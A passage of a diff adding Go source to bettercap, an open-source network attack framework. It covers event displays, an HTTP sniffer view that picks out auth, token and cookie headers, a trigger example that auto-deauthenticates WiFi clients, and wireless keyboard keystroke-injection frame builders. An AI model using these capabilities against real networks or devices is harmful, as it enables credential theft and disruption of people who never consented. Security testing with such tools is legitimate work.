+}
+
+func (mod *EventsStream) viewSynScanEvent(output io.Writer, e session.Event) {
+	se := e.Data.(syn_scan.SynScanEvent)
+	fmt.Fprintf(output, "[%s] [%s] found open port %d for %s\n",
+		e.Time.Format(mod.timeFormat),
+		tui.Green(e.Tag),
+		se.Port,
+		tui.Bold(se.Address))
+}
+
+func (mod *EventsStream) viewUpdateEvent(output io.Writer, e session.Event) {
+	update := e.Data.(*github.RepositoryRelease)
+
+	fmt.Fprintf(output, "[%s] [%s] an update to version %s is available at %s\n",
+		e.Time.Format(mod.timeFormat),
+		tui.Bold(tui.Yellow(e.Tag)),
+		tui.Bold(*update.TagName),
+		*update.HTMLURL)
+}
+
+func (mod *EventsStream) Render(output io.Writer, e session.Event) {
+	var err error
+	if err, mod.timeFormat = mod.StringParam("events.stream.time.format"); err != nil {
+		fmt.Fprintf(output, "%v", err)
+		mod.timeFormat = "15:04:05"
+	}
+
+	if e.Tag == "sys.log" {
+		mod.viewLogEvent(output, e)
+	} else if strings.HasPrefix(e.Tag, "endpoint.") {
+		mod.viewEndpointEvent(output, e)
+	} else if strings.HasPrefix(e.Tag, "wifi.") {
+		mod.viewWiFiEvent(output, e)
+	} else if strings.HasPrefix(e.Tag, "ble.") {
+		mod.viewBLEEvent(output, e)
+	} else if strings.HasPrefix(e.Tag, "hid.") {
+		mod.viewHIDEvent(output, e)
+	} else if strings.HasPrefix(e.Tag, "gps.") {
+		mod.viewGPSEvent(output, e)
+	} else if strings.HasPrefix(e.Tag, "mod.") {
+		mod.viewModuleEvent(output, e)
+	} else if strings.HasPrefix(e.Tag, "net.sniff.") {
+		mod.viewSnifferEvent(output, e)
+	} else if e.Tag == "syn.scan" {
+		mod.viewSynScanEvent(output, e)
+	} else if e.Tag == "update.available" {
+		mod.viewUpdateEvent(output, e)
+	} else if e.Tag == "gateway.change" {
+		mod.viewGatewayEvent(output, e)
+	} else if e.Tag != "tick" && e.Tag != "session.started" && e.Tag != "session.stopped" {
+		fmt.Fprintf(output, "[%s] [%s] %v\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), e)
+	}
+}
+
+func (mod *EventsStream) View(e session.Event, refresh bool) {
+	mod.Render(mod.output, e)
+
+	if refresh && mod.output == os.Stdout {
+		mod.Session.Refresh()
+	}
+
+	mod.doRotation()
+}

+ 52 - 0
bettercap/modules/events_stream/events_view_ble.go

@@ -0,0 +1,52 @@
+// +build !windows
+
+package events_stream
+
+import (
+	"fmt"
+	"io"
+
+	"github.com/bettercap/bettercap/network"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/evilsocket/islazy/tui"
+)
+
+func (mod *EventsStream) viewBLEEvent(output io.Writer, e session.Event) {
+	if e.Tag == "ble.device.new" {
+		dev := e.Data.(*network.BLEDevice)
+		name := dev.Device.Name()
+		if name != "" {
+			name = " " + tui.Bold(name)
+		}
+		vend := dev.Vendor
+		if vend != "" {
+			vend = fmt.Sprintf(" (%s)", tui.Yellow(vend))
+		}
+
+		fmt.Fprintf(output, "[%s] [%s] new BLE device%s detected as %s%s %s.\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			name,
+			dev.Device.ID(),
+			vend,
+			tui.Dim(fmt.Sprintf("%d dBm", dev.RSSI)))
+	} else if e.Tag == "ble.device.lost" {
+		dev := e.Data.(*network.BLEDevice)
+		name := dev.Device.Name()
+		if name != "" {
+			name = " " + tui.Bold(name)
+		}
+		vend := dev.Vendor
+		if vend != "" {
+			vend = fmt.Sprintf(" (%s)", tui.Yellow(vend))
+		}
+
+		fmt.Fprintf(output, "[%s] [%s] BLE device%s %s%s lost.\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			name,
+			dev.Device.ID(),
+			vend)
+	}
+}

+ 12 - 0
bettercap/modules/events_stream/events_view_ble_unsupported.go

@@ -0,0 +1,12 @@
+// +build windows
+
+package events_stream
+
+import (
+	"io"
+	"github.com/bettercap/bettercap/session"
+)
+
+func (mod *EventsStream) viewBLEEvent(output io.Writer, e session.Event) {
+
+}

+ 23 - 0
bettercap/modules/events_stream/events_view_gateway.go

@@ -0,0 +1,23 @@
+package events_stream
+
+import (
+	"fmt"
+	"io"
+
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/evilsocket/islazy/tui"
+)
+
+func (mod *EventsStream) viewGatewayEvent(output io.Writer, e session.Event) {
+	change := e.Data.(session.GatewayChange)
+
+	fmt.Fprintf(output, "[%s] [%s] %s gateway changed: '%s' (%s) -> '%s' (%s)\n",
+		e.Time.Format(mod.timeFormat),
+		tui.Red(e.Tag),
+		string(change.Type),
+		change.Prev.IP,
+		change.Prev.MAC,
+		change.New.IP,
+		change.New.MAC)
+}

+ 24 - 0
bettercap/modules/events_stream/events_view_gps.go

@@ -0,0 +1,24 @@
+package events_stream
+
+import (
+	"fmt"
+	"io"
+
+	"github.com/bettercap/bettercap/session"
+	"github.com/evilsocket/islazy/tui"
+)
+
+func (mod *EventsStream) viewGPSEvent(output io.Writer, e session.Event) {
+	if e.Tag == "gps.new" {
+		gps := e.Data.(session.GPS)
+
+		fmt.Fprintf(output, "[%s] [%s] latitude:%f longitude:%f quality:%s satellites:%d altitude:%f\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			gps.Latitude,
+			gps.Longitude,
+			gps.FixQuality,
+			gps.NumSatellites,
+			gps.Altitude)
+	}
+}

+ 27 - 0
bettercap/modules/events_stream/events_view_hid.go

@@ -0,0 +1,27 @@
+package events_stream
+
+import (
+	"fmt"
+	"io"
+
+	"github.com/bettercap/bettercap/network"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/evilsocket/islazy/tui"
+)
+
+func (mod *EventsStream) viewHIDEvent(output io.Writer, e session.Event) {
+	dev := e.Data.(*network.HIDDevice)
+	if e.Tag == "hid.device.new" {
+		fmt.Fprintf(output, "[%s] [%s] new HID device %s detected on channel %s.\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			tui.Bold(dev.Address),
+			dev.Channels())
+	} else if e.Tag == "hid.device.lost" {
+		fmt.Fprintf(output, "[%s] [%s] HID device %s lost.\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			tui.Red(dev.Address))
+	}
+}

+ 212 - 0
bettercap/modules/events_stream/events_view_http.go

@@ -0,0 +1,212 @@
+package events_stream
+
+import (
+	"bytes"
+	"compress/gzip"
+	"encoding/hex"
+	"encoding/json"
+	"fmt"
+	"io"
+	"net/url"
+	"regexp"
+	"strings"
+
+	"github.com/bettercap/bettercap/modules/net_sniff"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/evilsocket/islazy/tui"
+)
+
+var (
+	reJsonKey = regexp.MustCompile(`("[^"]+"):`)
+)
+
+func (mod *EventsStream) shouldDumpHttpRequest(req net_sniff.HTTPRequest) bool {
+	if mod.dumpHttpReqs {
+		// dump all
+		return true
+	} else if req.Method != "GET" {
+		// dump if it's not just a GET
+		return true
+	}
+	// search for interesting headers and cookies
+	for name := range req.Headers {
+		headerName := strings.ToLower(name)
+		if strings.Contains(headerName, "auth") || strings.Contains(headerName, "token") {
+			return true
+		}
+	}
+	return false
+}
+
+func (mod *EventsStream) shouldDumpHttpResponse(res net_sniff.HTTPResponse) bool {
+	if mod.dumpHttpResp {
+		return true
+	} else if strings.Contains(res.ContentType, "text/plain") {
+		return true
+	} else if strings.Contains(res.ContentType, "application/json") {
+		return true
+	} else if strings.Contains(res.ContentType, "text/xml") {
+		return true
+	}
+	// search for interesting headers
+	for name := range res.Headers {
+		headerName := strings.ToLower(name)
+		if strings.Contains(headerName, "auth") || strings.Contains(headerName, "token") || strings.Contains(headerName, "cookie") {
+			return true
+		}
+	}
+	return false
+}
+
+func (mod *EventsStream) dumpForm(body []byte) string {
+	form := []string{}
+	for _, v := range strings.Split(string(body), "&") {
+		if strings.Contains(v, "=") {
+			parts := strings.SplitN(v, "=", 2)
+			name := parts[0]
+			value, err := url.QueryUnescape(parts[1])
+			if err != nil {
+				value = parts[1]
+			}
+
+			form = append(form, fmt.Sprintf("%s=%s", tui.Green(name), tui.Bold(tui.Red(value))))
+		} else {
+			value, err := url.QueryUnescape(v)
+			if err != nil {
+				value = v
+			}
+			form = append(form, tui.Bold(tui.Red(value)))
+		}
+	}
+	return "\n" + strings.Join(form, "&") + "\n"
+}
+
+func (mod *EventsStream) dumpText(body []byte) string {
+	return "\n" + tui.Bold(tui.Red(string(body))) + "\n"
+}
+
+func (mod *EventsStream) dumpGZIP(body []byte) string {
+	buffer := bytes.NewBuffer(body)
+	uncompressed := bytes.Buffer{}
+	reader, err := gzip.NewReader(buffer)
+	if mod.dumpFormatHex {
+		if err != nil {
+			return mod.dumpRaw(body)
+		} else if _, err = uncompressed.ReadFrom(reader); err != nil {
+			return mod.dumpRaw(body)
+		}
+		return mod.dumpRaw(uncompressed.Bytes())
+	} else {
+		if err != nil {
+			return mod.dumpText(body)
+		} else if _, err = uncompressed.ReadFrom(reader); err != nil {
+			return mod.dumpText(body)
+		}
+		return mod.dumpText(uncompressed.Bytes())
+	}
+}
+
+func (mod *EventsStream) dumpJSON(body []byte) string {
+	var buf bytes.Buffer
+	var pretty string
+
+	if err := json.Indent(&buf, body, "", "  "); err != nil {
+		pretty = string(body)
+	} else {
+		pretty = buf.String()
+	}
+
+	return "\n" + reJsonKey.ReplaceAllString(pretty, tui.Green(`$1:`)) + "\n"
+}
+
+func (mod *EventsStream) dumpXML(body []byte) string {
+	// TODO: indent xml
+	return "\n" + string(body) + "\n"
+}
+
+func (mod *EventsStream) dumpRaw(body []byte) string {
+	return "\n" + hex.Dump(body) + "\n"
+}
+
+func (mod *EventsStream) viewHttpRequest(output io.Writer, e session.Event) {
+	se := e.Data.(net_sniff.SnifferEvent)
+	req := se.Data.(net_sniff.HTTPRequest)
+
+	fmt.Fprintf(output, "[%s] [%s] %s\n",
+		e.Time.Format(mod.timeFormat),
+		tui.Green(e.Tag),
+		se.Message)
+
+	if mod.shouldDumpHttpRequest(req) {
+		dump := fmt.Sprintf("%s %s %s\n", tui.Bold(req.Method), req.URL, tui.Dim(req.Proto))
+		dump += fmt.Sprintf("%s: %s\n", tui.Blue("Host"), tui.Yellow(req.Host))
+		for name, values := range req.Headers {
+			for _, value := range values {
+				dump += fmt.Sprintf("%s: %s\n", tui.Blue(name), tui.Yellow(value))
+			}
+		}
+
+		if req.Body != nil {
+			if req.IsType("application/x-www-form-urlencoded") {
+				dump += mod.dumpForm(req.Body)
+			} else if req.IsType("text/plain") {
+				dump += mod.dumpText(req.Body)
+			} else if req.IsType("text/xml") {
+				dump += mod.dumpXML(req.Body)
+			} else if req.IsType("gzip") {
+				dump += mod.dumpGZIP(req.Body)
+			} else if req.IsType("application/json") {
+				dump += mod.dumpJSON(req.Body)
+			} else {
+				if mod.dumpFormatHex {
+					dump += mod.dumpRaw(req.Body)
+				} else {
+					dump += mod.dumpText(req.Body)
+				}
+			}
+		}
+
+		fmt.Fprintf(output, "\n%s\n", dump)
+	}
+}
+
+func (mod *EventsStream) viewHttpResponse(output io.Writer, e session.Event) {
+	se := e.Data.(net_sniff.SnifferEvent)
+	res := se.Data.(net_sniff.HTTPResponse)
+
+	fmt.Fprintf(output, "[%s] [%s] %s\n",
+		e.Time.Format(mod.timeFormat),
+		tui.Green(e.Tag),
+		se.Message)
+
+	if mod.shouldDumpHttpResponse(res) {
+		dump := fmt.Sprintf("%s %s\n", tui.Dim(res.Protocol), res.Status)
+		for name, values := range res.Headers {
+			for _, value := range values {
+				dump += fmt.Sprintf("%s: %s\n", tui.Blue(name), tui.Yellow(value))
+			}
+		}
+
+		if res.Body != nil {
+			// TODO: add more interesting response types
+			if res.IsType("text/plain") {
+				dump += mod.dumpText(res.Body)
+			} else if res.IsType("application/json") {
+				dump += mod.dumpJSON(res.Body)
+			} else if res.IsType("text/xml") {
+				dump += mod.dumpXML(res.Body)
+			}
+		}
+
+		fmt.Fprintf(output, "\n%s\n", dump)
+	}
+}
+
+func (mod *EventsStream) viewHttpEvent(output io.Writer, e session.Event) {
+	if e.Tag == "net.sniff.http.request" {
+		mod.viewHttpRequest(output, e)
+	} else if e.Tag == "net.sniff.http.response" {
+		mod.viewHttpResponse(output, e)
+	}
+}

+ 148 - 0
bettercap/modules/events_stream/events_view_wifi.go

@@ -0,0 +1,148 @@
+package events_stream
+
+import (
+	"fmt"
+	"github.com/bettercap/bettercap/modules/wifi"
+	"io"
+	"strings"
+
+	"github.com/bettercap/bettercap/network"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/evilsocket/islazy/tui"
+)
+
+func (mod *EventsStream) viewWiFiApEvent(output io.Writer, e session.Event) {
+	ap := e.Data.(*network.AccessPoint)
+	vend := ""
+	if ap.Vendor != "" {
+		vend = fmt.Sprintf(" (%s)", ap.Vendor)
+	}
+	rssi := ""
+	if ap.RSSI != 0 {
+		rssi = fmt.Sprintf(" (%d dBm)", ap.RSSI)
+	}
+
+	if e.Tag == "wifi.ap.new" {
+		fmt.Fprintf(output, "[%s] [%s] wifi access point %s%s detected as %s%s.\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			tui.Bold(ap.ESSID()),
+			tui.Dim(tui.Yellow(rssi)),
+			tui.Green(ap.BSSID()),
+			tui.Dim(vend))
+	} else if e.Tag == "wifi.ap.lost" {
+		fmt.Fprintf(output, "[%s] [%s] wifi access point %s (%s) lost.\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			tui.Red(ap.ESSID()),
+			ap.BSSID())
+	} else {
+		fmt.Fprintf(output, "[%s] [%s] %s\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			ap.String())
+	}
+}
+
+func (mod *EventsStream) viewWiFiClientProbeEvent(output io.Writer, e session.Event) {
+	probe := e.Data.(wifi.ProbeEvent)
+	desc := ""
+	if probe.FromAlias != "" {
+		desc = fmt.Sprintf(" (%s)", probe.FromAlias)
+	} else if probe.FromVendor != "" {
+		desc = fmt.Sprintf(" (%s)", probe.FromVendor)
+	}
+	rssi := ""
+	if probe.RSSI != 0 {
+		rssi = fmt.Sprintf(" (%d dBm)", probe.RSSI)
+	}
+
+	fmt.Fprintf(output, "[%s] [%s] station %s%s is probing for SSID %s%s\n",
+		e.Time.Format(mod.timeFormat),
+		tui.Green(e.Tag),
+		probe.FromAddr,
+		tui.Dim(desc),
+		tui.Bold(probe.SSID),
+		tui.Yellow(rssi))
+}
+
+func (mod *EventsStream) viewWiFiHandshakeEvent(output io.Writer, e session.Event) {
+	hand := e.Data.(wifi.HandshakeEvent)
+
+	from := hand.Station
+	to := hand.AP
+	what := "handshake"
+
+	if ap, found := mod.Session.WiFi.Get(hand.AP); found {
+		to = fmt.Sprintf("%s (%s)", tui.Bold(ap.ESSID()), tui.Dim(ap.BSSID()))
+		what = fmt.Sprintf("%s handshake", ap.Encryption)
+	}
+
+	if hand.PMKID != nil {
+		what = "RSN PMKID"
+	} else if hand.Full {
+		what += " (full)"
+	} else if hand.Half {
+		what += " (half)"
+	}
+
+	fmt.Fprintf(output, "[%s] [%s] captured %s -> %s %s to %s\n",
+		e.Time.Format(mod.timeFormat),
+		tui.Green(e.Tag),
+		from,
+		to,
+		tui.Red(what),
+		hand.File)
+}
+
+func (mod *EventsStream) viewWiFiClientEvent(output io.Writer, e session.Event) {
+	ce := e.Data.(wifi.ClientEvent)
+
+	ce.Client.Alias = mod.Session.Lan.GetAlias(ce.Client.BSSID())
+
+	if e.Tag == "wifi.client.new" {
+		fmt.Fprintf(output, "[%s] [%s] new station %s detected for %s (%s)\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			ce.Client.String(),
+			tui.Bold(ce.AP.ESSID()),
+			tui.Dim(ce.AP.BSSID()))
+	} else if e.Tag == "wifi.client.lost" {
+		fmt.Fprintf(output, "[%s] [%s] station %s disconnected from %s (%s)\n",
+			e.Time.Format(mod.timeFormat),
+			tui.Green(e.Tag),
+			ce.Client.String(),
+			tui.Bold(ce.AP.ESSID()),
+			tui.Dim(ce.AP.BSSID()))
+	}
+}
+
+func (mod *EventsStream) viewWiFiDeauthEvent(output io.Writer, e session.Event) {
+	deauth := e.Data.(wifi.DeauthEvent)
+
+	fmt.Fprintf(output, "[%s] [%s] a1=%s a2=%s a3=%s reason=%s (%d dBm)\n",
+		e.Time.Format(mod.timeFormat),
+		tui.Green(e.Tag),
+		deauth.Address1,
+		deauth.Address2,
+		deauth.Address3,
+		tui.Bold(deauth.Reason),
+		deauth.RSSI)
+}
+
+func (mod *EventsStream) viewWiFiEvent(output io.Writer, e session.Event) {
+	if strings.HasPrefix(e.Tag, "wifi.ap.") {
+		mod.viewWiFiApEvent(output, e)
+	} else if e.Tag == "wifi.deauthentication" {
+		mod.viewWiFiDeauthEvent(output, e)
+	} else if e.Tag == "wifi.client.probe" {
+		mod.viewWiFiClientProbeEvent(output, e)
+	} else if e.Tag == "wifi.client.handshake" {
+		mod.viewWiFiHandshakeEvent(output, e)
+	} else if e.Tag == "wifi.client.new" || e.Tag == "wifi.client.lost" {
+		mod.viewWiFiClientEvent(output, e)
+	} else {
+		fmt.Fprintf(output, "[%s] [%s] %#v\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), e)
+	}
+}

+ 141 - 0
bettercap/modules/events_stream/trigger_list.go

@@ -0,0 +1,141 @@
+package events_stream
+
+import (
+	"encoding/json"
+	"fmt"
+	"regexp"
+	"strings"
+	"sync"
+
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/antchfx/jsonquery"
+	"github.com/evilsocket/islazy/str"
+	"github.com/evilsocket/islazy/tui"
+)
+
+var reQueryCapture = regexp.MustCompile(`{{([^}]+)}}`)
+
+type Trigger struct {
+	For    string
+	Action string
+}
+
+type TriggerList struct {
+	sync.Mutex
+	triggers map[string]Trigger
+}
+
+func NewTriggerList() *TriggerList {
+	return &TriggerList{
+		triggers: make(map[string]Trigger),
+	}
+}
+
+func (l *TriggerList) Add(tag string, command string) (error, string) {
+	l.Lock()
+	defer l.Unlock()
+
+	idNum := 0
+	command = str.Trim(command)
+
+	for id, t := range l.triggers {
+		if t.For == tag {
+			if t.Action == command {
+				return fmt.Errorf("duplicate: trigger '%s' found for action '%s'", tui.Bold(id), command), ""
+			}
+			idNum++
+		}
+	}
+
+	id := fmt.Sprintf("%s-%d", tag, idNum)
+	l.triggers[id] = Trigger{
+		For:    tag,
+		Action: command,
+	}
+
+	return nil, id
+}
+
+func (l *TriggerList) Del(id string) (err error) {
+	l.Lock()
+	defer l.Unlock()
+	if _, found := l.triggers[id]; found {
+		delete(l.triggers, id)
+	} else {
+		err = fmt.Errorf("trigger '%s' not found", tui.Bold(id))
+	}
+	return err
+}
+
+func (l *TriggerList) Each(cb func(id string, t Trigger)) {
+	l.Lock()
+	defer l.Unlock()
+	for id, t := range l.triggers {
+		cb(id, t)
+	}
+}
+
+func (l *TriggerList) Completer(prefix string) []string {
+	ids := []string{}
+	l.Each(func(id string, t Trigger) {
+		if prefix == "" || strings.HasPrefix(id, prefix) {
+			ids = append(ids, id)
+		}
+	})
+	return ids
+}
+
+func (l *TriggerList) Dispatch(e session.Event) (ident string, cmd string, err error, found bool) {
+	l.Lock()
+	defer l.Unlock()
+
+	for id, t := range l.triggers {
+		if e.Tag == t.For {
+			// this is ugly but it's also the only way to allow
+			// the user to do this easily - since each event Data
+			// field is an interface and type casting is not possible
+			// via golang default text/template system, we transform
+			// the field to JSON, parse it again and then allow the
+			// user to access it in the command via JSON-Query, example:
+			//
+			// events.on wifi.client.new "wifi.deauth {{Client\mac}}"
+			cmd = t.Action
+			found = true
+			ident = id
+			buf := ([]byte)(nil)
+			doc := (*jsonquery.Node)(nil)
+			// parse each {EXPR}
+			for _, m := range reQueryCapture.FindAllString(t.Action, -1) {
+				// parse the event Data field as a JSON objects once
+				if doc == nil {
+					if buf, err = json.Marshal(e.Data); err != nil {
+						err = fmt.Errorf("error while encoding event for trigger %s: %v", tui.Bold(id), err)
+						return
+					} else if doc, err = jsonquery.Parse(strings.NewReader(string(buf))); err != nil {
+						err = fmt.Errorf("error while parsing event for trigger %s: %v", tui.Bold(id), err)
+						return
+					}
+				}
+				// {EXPR} -> EXPR
+				expr := strings.Trim(m, "{}")
+				// use EXPR as a JSON query
+				if node := jsonquery.FindOne(doc, expr); node != nil {
+					cmd = strings.Replace(cmd, m, node.InnerText(), -1)
+				} else {
+					err = fmt.Errorf(
+						"error while parsing expressionfor trigger %s: '%s' doesn't resolve any object: %v",
+						tui.Bold(id),
+						expr,
+						err,
+					)
+					return
+				}
+			}
+
+			return
+		}
+	}
+
+	return
+}

+ 217 - 0
bettercap/modules/gps/gps.go

@@ -0,0 +1,217 @@
+package gps
+
+import (
+	"fmt"
+	"io"
+	"time"
+
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/adrianmo/go-nmea"
+	"github.com/stratoberry/go-gpsd"
+	"github.com/tarm/serial"
+
+	"github.com/evilsocket/islazy/str"
+)
+
+type GPS struct {
+	session.SessionModule
+
+	serialPort string
+	baudRate   int
+
+	serial *serial.Port
+	gpsd   *gpsd.Session
+}
+
+var ModeInfo = [4]string{
+	"NoValueSeen",
+	"NoFix",
+	"Mode2D",
+	"Mode3D",
+}
+
+func NewGPS(s *session.Session) *GPS {
+	mod := &GPS{
+		SessionModule: session.NewSessionModule("gps", s),
+		serialPort:    "/dev/ttyUSB0",
+		baudRate:      4800,
+	}
+
+	mod.AddParam(session.NewStringParameter("gps.device",
+		mod.serialPort,
+		"",
+		"Serial device of the GPS hardware or hostname:port for a GPSD instance."))
+
+	mod.AddParam(session.NewIntParameter("gps.baudrate",
+		fmt.Sprintf("%d", mod.baudRate),
+		"Baud rate of the GPS serial device."))
+
+	mod.AddHandler(session.NewModuleHandler("gps on", "",
+		"Start acquiring from the GPS hardware.",
+		func(args []string) error {
+			return mod.Start()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("gps off", "",
+		"Stop acquiring from the GPS hardware.",
+		func(args []string) error {
+			return mod.Stop()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("gps.show", "",
+		"Show the last coordinates returned by the GPS hardware.",
+		func(args []string) error {
+			return mod.Show()
+		}))
+
+	return mod
+}
+
+func (mod *GPS) Name() string {
+	return "gps"
+}
+
+func (mod *GPS) Description() string {
+	return "A module talking with GPS hardware on a serial interface or via GPSD."
+}
+
+func (mod *GPS) Author() string {
+	return "Simone Margaritelli <evilsocket@gmail.com>"
+}
+
+func (mod *GPS) Configure() (err error) {
+	if mod.Running() {
+		return session.ErrAlreadyStarted(mod.Name())
+	} else if err, mod.serialPort = mod.StringParam("gps.device"); err != nil {
+		return err
+	} else if err, mod.baudRate = mod.IntParam("gps.baudrate"); err != nil {
+		return err
+	}
+
+	if mod.serialPort[0] == '/' || mod.serialPort[0] == '.' {
+		mod.Debug("connecting to serial port %s", mod.serialPort)
+		mod.serial, err = serial.OpenPort(&serial.Config{
+			Name:        mod.serialPort,
+			Baud:        mod.baudRate,
+			ReadTimeout: time.Second * 1,
+		})
+	} else {
+		mod.Debug("connecting to gpsd at %s", mod.serialPort)
+		mod.gpsd, err = gpsd.Dial(mod.serialPort)
+	}
+
+	return
+}
+
+func (mod *GPS) readLine() (line string, err error) {
+	var n int
+
+	b := make([]byte, 1)
+	for {
+		if n, err = mod.serial.Read(b); err != nil {
+			return
+		} else if n == 1 {
+			if b[0] == '\n' {
+				return str.Trim(line), nil
+			} else {
+				line += string(b[0])
+			}
+		}
+	}
+}
+
+func (mod *GPS) Show() error {
+	mod.Printf("latitude:%f longitude:%f quality:%s satellites:%d altitude:%f\n",
+		mod.Session.GPS.Latitude,
+		mod.Session.GPS.Longitude,
+		mod.Session.GPS.FixQuality,
+		mod.Session.GPS.NumSatellites,
+		mod.Session.GPS.Altitude)
+
+	mod.Session.Refresh()
+
+	return nil
+}
+
+func (mod *GPS) readFromSerial() {
+	if line, err := mod.readLine(); err == nil {
+		if s, err := nmea.Parse(line); err == nil {
+			// http://aprs.gids.nl/nmea/#gga
+			if m, ok := s.(nmea.GGA); ok {
+				mod.Session.GPS.Updated = time.Now()
+				mod.Session.GPS.Latitude = m.Latitude
+				mod.Session.GPS.Longitude = m.Longitude
+				mod.Session.GPS.FixQuality = m.FixQuality
+				mod.Session.GPS.NumSatellites = m.NumSatellites
+				mod.Session.GPS.HDOP = m.HDOP
+				mod.Session.GPS.Altitude = m.Altitude
+				mod.Session.GPS.Separation = m.Separation
+
+				mod.Session.Events.Add("gps.new", mod.Session.GPS)
+			}
+		} else {
+			mod.Debug("error parsing line '%s': %s", line, err)
+		}
+	} else if err != io.EOF {
+		mod.Warning("error while reading serial port: %s", err)
+	}
+}
+
+func (mod *GPS) runFromGPSD() {
+	mod.gpsd.AddFilter("TPV", func(r interface{}) {
+		report := r.(*gpsd.TPVReport)
+		mod.Session.GPS.Updated = report.Time
+		mod.Session.GPS.Latitude = report.Lat
+		mod.Session.GPS.Longitude = report.Lon
+		mod.Session.GPS.FixQuality = ModeInfo[report.Mode]
+		mod.Session.GPS.Altitude = report.Alt
+
+		mod.Session.Events.Add("gps.new", mod.Session.GPS)
+	})
+
+	mod.gpsd.AddFilter("SKY", func(r interface{}) {
+		report := r.(*gpsd.SKYReport)
+		mod.Session.GPS.NumSatellites = int64(len(report.Satellites))
+		mod.Session.GPS.HDOP = report.Hdop
+		//mod.Session.GPS.Separation = 0
+	})
+
+	done := mod.gpsd.Watch()
+	<-done
+}
+
+func (mod *GPS) Start() error {
+	if err := mod.Configure(); err != nil {
+		return err
+	}
+
+	return mod.SetRunning(true, func() {
+		mod.Info("started on port %s ...", mod.serialPort)
+
+		if mod.serial != nil {
+			defer mod.serial.Close()
+
+			for mod.Running() {
+				mod.readFromSerial()
+			}
+		} else {
+			mod.runFromGPSD()
+		}
+	})
+}
+
+func (mod *GPS) Stop() error {
+	return mod.SetRunning(false, func() {
+		if mod.serial != nil {
+			// let the read fail and exit
+			mod.serial.Close()
+		} /*
+			FIXME: no Close or Stop method in github.com/stratoberry/go-gpsd
+			else {
+				if err := mod.gpsd.Close(); err != nil {
+					mod.Error("failed closing the connection to GPSD: %s", err)
+				}
+			} */
+	})
+}

+ 40 - 0
bettercap/modules/hid/build_amazon.go

@@ -0,0 +1,40 @@
+package hid
+
+import (
+	"github.com/bettercap/bettercap/network"
+)
+
+const (
+	amzFrameDelay = 5
+)
+
+type AmazonBuilder struct {
+}
+
+func (b AmazonBuilder) frameFor(cmd *Command) []byte {
+	return []byte{0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f,
+		0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f,
+		0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f,
+		0x0f, 0, cmd.Mode, 0, cmd.HID, 0}
+}
+
+func (b AmazonBuilder) BuildFrames(dev *network.HIDDevice, commands []*Command) error {
+	for i, cmd := range commands {
+		if i == 0 {
+			for j := 0; j < 5; j++ {
+				cmd.AddFrame(b.frameFor(&Command{}), amzFrameDelay)
+			}
+		}
+
+		if cmd.IsHID() {
+			cmd.AddFrame(b.frameFor(cmd), amzFrameDelay)
+			cmd.AddFrame(b.frameFor(&Command{}), amzFrameDelay)
+		} else if cmd.IsSleep() {
+			for i, num := 0, cmd.Sleep/10; i < num; i++ {
+				cmd.AddFrame(b.frameFor(&Command{}), 10)
+			}
+		}
+	}
+
+	return nil
+}

+ 60 - 0
bettercap/modules/hid/build_logitech.go

@@ -0,0 +1,60 @@
+package hid
+
+import (
+	"github.com/bettercap/bettercap/network"
+)
+
+const (
+	ltFrameDelay = 12
+)
+
+var (
+	helloData     = []byte{0x00, 0x4F, 0x00, 0x04, 0xB0, 0x10, 0x00, 0x00, 0x00, 0xED}
+	keepAliveData = []byte{0x00, 0x40, 0x04, 0xB0, 0x0C}
+)
+
+type LogitechBuilder struct {
+}
+
+func (b LogitechBuilder) frameFor(cmd *Command) []byte {
+	data := []byte{0, 0xC1, cmd.Mode, cmd.HID, 0, 0, 0, 0, 0, 0}
+	sz := len(data)
+	last := sz - 1
+	sum := byte(0xff)
+
+	for i := 0; i < last; i++ {
+		sum = (sum - data[i]) & 0xff
+	}
+	sum = (sum + 1) & 0xff
+	data[last] = sum
+
+	return data
+}
+
+func (b LogitechBuilder) BuildFrames(dev *network.HIDDevice, commands []*Command) error {
+	last := len(commands) - 1
+	for i, cmd := range commands {
+		if i == 0 {
+			cmd.AddFrame(helloData, ltFrameDelay)
+		}
+
+		next := (*Command)(nil)
+		if i < last {
+			next = commands[i+1]
+		}
+
+		if cmd.IsHID() {
+			cmd.AddFrame(b.frameFor(cmd), ltFrameDelay)
+			cmd.AddFrame(keepAliveData, 0)
+			if next == nil || cmd.HID == next.HID || next.IsSleep() {
+				cmd.AddFrame(b.frameFor(&Command{}), 0)
+			}
+		} else if cmd.IsSleep() {
+			for i, num := 0, cmd.Sleep/10; i < num; i++ {
+				cmd.AddFrame(keepAliveData, 10)
+			}
+		}
+	}
+
+	return nil
+}

+ 73 - 0
bettercap/modules/hid/build_microsoft.go

@@ -0,0 +1,73 @@
+package hid
+
+import (
+	"fmt"
+
+	"github.com/bettercap/bettercap/network"
+)
+
+type MicrosoftBuilder struct {
+	seqn uint16
+}
+
+func (b MicrosoftBuilder) frameFor(template []byte, cmd *Command) []byte {
+	data := make([]byte, len(template))
+	copy(data, template)
+
+	data[4] = byte(b.seqn & 0xff)
+	data[5] = byte((b.seqn >> 8) & 0xff)
+	data[7] = cmd.Mode
+	data[9] = cmd.HID
+	// MS checksum algorithm - as per KeyKeriki paper
+	sum := byte(0)
+	last := len(data) - 1
